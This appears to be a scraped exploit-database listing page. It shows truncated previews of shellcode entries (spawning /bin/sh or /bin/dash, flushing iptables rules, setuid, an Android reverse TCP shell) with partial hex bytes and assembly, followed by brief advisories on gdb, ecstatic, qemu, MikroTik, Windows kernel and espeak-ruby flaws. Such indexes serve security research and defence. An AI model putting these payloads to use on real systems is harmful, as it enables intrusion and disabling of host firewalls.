Linux/x86-64 - execve (/sbin/iptables, [/sbin/iptables, -F], NULL) Shellcode (43 bytes)

/ section .text global start start: push 0x3b pop rax cdq push rdx push word 0x462d push rsp pop rcx push rdx mov rbx, 0x73656c6261747069 push rbx mov rbx, 0x2f2f2f6e6962732f push rbx push rsp pop rdi push rdx push rcx push rdi push rsp pop rsi ; execve"/sbin/iptables", "/sbin/iptables", "-F",...

Linux/ARM - execve (/bin/sh, [], [0 vars]) Shellcode (35 bytes)

/ Title : Linux/ARM - execve"/bin/sh", , 0 vars - 35 bytes Date : 2013-09-04 Author : gunslinger yuda at cr0security dot com Tested on : ARM1176 rev6 v6l An ARM Hardcoded Shellcode without 0x20, 0x0a, and 0x00. Cr0security.com / include char shellcode = "\x01\x60\x8f\xe2" // add r6, pc, 1...

Android/ARM - Reverse TCP /system/bin/sh Shell (10.0.2.2:0x3412/TCP) Shellcode (79 bytes)

/ This ARM Thumb sc connects to a given IP and port with a shell. Intended for use with Android hence /system/bin/sh. Connects to the provided IP and port with a shell no null bytes in the code, but does this really matter these days? it could be fixed with just a few instructions. Released to th...

IRIX - stdin-read Shellcode (40 bytes)

/ 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso / unsigned long int shellcode = 0x24048cb0, / li $a0, -0x7350 / / dpatch: / 0x0490ffff, / bltzal $a0, dpatch / 0x2804ffff, / slti $a0, $zero, -1 / 0x240fffe3, / li $t7, -29 / 0x01e07827, / nor $t7, $t7, $zero / 0x03ef2821, / addu $a1, $ra,...

Linux/StrongARM - setuid() Shellcode (20 bytes)

/ 20 byte StrongARM/Linux setuid shellcode funkysh / char shellcode= "\x02\x20\x42\xe0" / sub r2, r2, r2 / "\x04\x10\x8f\xe2" / add r1, pc, 4 / "\x12\x02\xa0\xe1" / mov r0, r2, lsl r2 / "\x01\x20\xc1\xe5" / strb r2, r1, 1 / "\x17\x0b\x90\xef"; / swi 0x90ff17 /...

FreeBSD/x86 - execv(/bin/sh) Shellcode (23 bytes)

/ -------------- FreeBSD/x86 - execv"/bin/sh" 23 bytes ------------------------- AUTHOR : Tosh OS : BSDx86 Tested on FreeBSD 8.1 EMAIL : email protected / include include char shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x54\x53\xb0\x3b\x50\xcd\x80"; int...

Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes)

/ Title: Linux/x86 - execve/bin/sh Polymorphic Shellcode 53 bytes Date: 10-Jan-2018 Exploit Author: Debashis Pal SLAE-1122 Tested on: i686 GNU/Linux '//bin/sh' = 0x68732f6e 0x69622f2f polymorphic.nasm global start section .text start: add esi, 0x30 ;junk xor ecx, ecx mul ecx mov dword esp-4, ecx...

Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (53 bytes)

Linux/x86 - execve/bin/sh + Polymorphic Shellcode 53 bytes. Shellcode exploit for Linuxx86 platform / Title: Linux/x86 - execve/bin/sh Polymorphic Shellcode 53 bytes Date: 10-Jan-2018 Exploit Author: Debashis Pal SLAE-1122 Tested on: i686 GNU/Linux '//bin/sh' = 0x68732f6e 0x69622f2f...

Linux/x86 - execve(/bin/dash) Shellcode (30 bytes)

Linux/x86 - execve/bin/dash Shellcode 30 bytes. Shellcode exploit for Linuxx86 platform / Description ; Title : exec /bin/dash - Shellcode ; Author : Hashim Jawad ; Website : ihack4falafel.com ; Twitter : @ihack4falafel ; SLAE ID : SLAE-1115 ; Purpose : spawn /bin/dash shell ; OS : Linux ; Arch :...

Linux/x86 - execve /bin/dash Shellcode (30 bytes)

/ Description ; Title : exec /bin/dash - Shellcode ; Author : Hashim Jawad ; Website : ihack4falafel.com ; Twitter : @ihack4falafel ; SLAE ID : SLAE-1115 ; Purpose : spawn /bin/dash shell ; OS : Linux ; Arch : x86 ; Size : 30 bytes dash.nasm global start section .text start: ; push NULL into the...

Updated gdb packages fix security vulnerability

Hanno Böck discovered that gdb incorrectly handled certain malformed AOUT headers in PE executables. If a user or automated system were tricked into processing a specially crafted binary, a remote attacker could use this issue to cause gdb to crash, resulting in a denial of service, or possibly...

PT-2018-19371

Name of the Vulnerable Software and Affected Versions SC version 7.16 Description A stack-based buffer overflow allows local attackers to execute arbitrary code by providing oversized input that exceeds buffer boundaries. By crafting malicious input strings larger than 1052 bytes, an attacker can...

GHSA-PM9P-9926-W68M Denial of Service in ecstatic

ecstatic, a simple static file server middleware, is vulnerable to denial of service. If a payload with a large number of null bytes %00 is provided by an attacker it can crash ecstatic by running it out of memory. Results from the original advisory A payload of 22kB caused a lag of 1 second, A...

PT-2017-7918

Name of the Vulnerable Software and Affected Versions ecstatic versions prior to 2.0.0 Description A denial of service issue exists due to a regular expression Denial of Service DoS vulnerability in the file lib/ecstatic.js. This allows a remote attacker to overload and crash a server by passing ...

Denial of Service

Overview ecstatic, a simple static file server middleware, is vulnerable to denial of service. If a payload with a large number of null bytes %00 is provided by an attacker it can crash ecstatic by running it out of memory. Results from the original advisory A payload of 22kB caused a lag of 1...

CVE-2017-17537

MikroTik RouterBOARD v6.39.2 and v6.40.5 allows an unauthenticated remote attacker to cause a denial of service by connecting to TCP port 53 and sending data that begins with many '\0' characters, possibly related to DNS...

CVE-2017-15118

A stack-based buffer overflow vulnerability was found in NBD server implementation in qemu before 2.11 allowing a client to request an export name of size up to 4096 bytes, which in fact should be limited to 256 bytes, causing an out-of-bounds stack write in the qemu process. If NBD server requir...

Microsoft Windows win32kfull!GreUpdateSpriteInternal Kernel Stack Memory Disclosure Exploit

On Windows 10 32-bit version 1709, a kernel stack memory disclosure was discovered in win32kfull!GreUpdateSpriteInternal. Windows Kernel stack memory disclosure in win32kfull!GreUpdateSpriteInternal On Windows 10 32-bit version 1709, we have discovered a disclosure of 4 uninitialized bytes from t...

DEBIAN-CVE-2017-11089

In android for MSM, Firefox OS for MSM, QRD Android, with all Android releases from CAF using the Linux kernel, a buffer overread is observed in nl80211setstation when user space application sends attribute NL80211ATTRLOCALMESHPOWERMODE with data of size less than 4 bytes...

GHSA-4JM3-PFPF-H54P espeak-ruby allows arbitrary command execution

The espeak-ruby gem before 1.0.3 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a string to the speak, save, bytes or byteswav method in lib/espeak/speech.rb...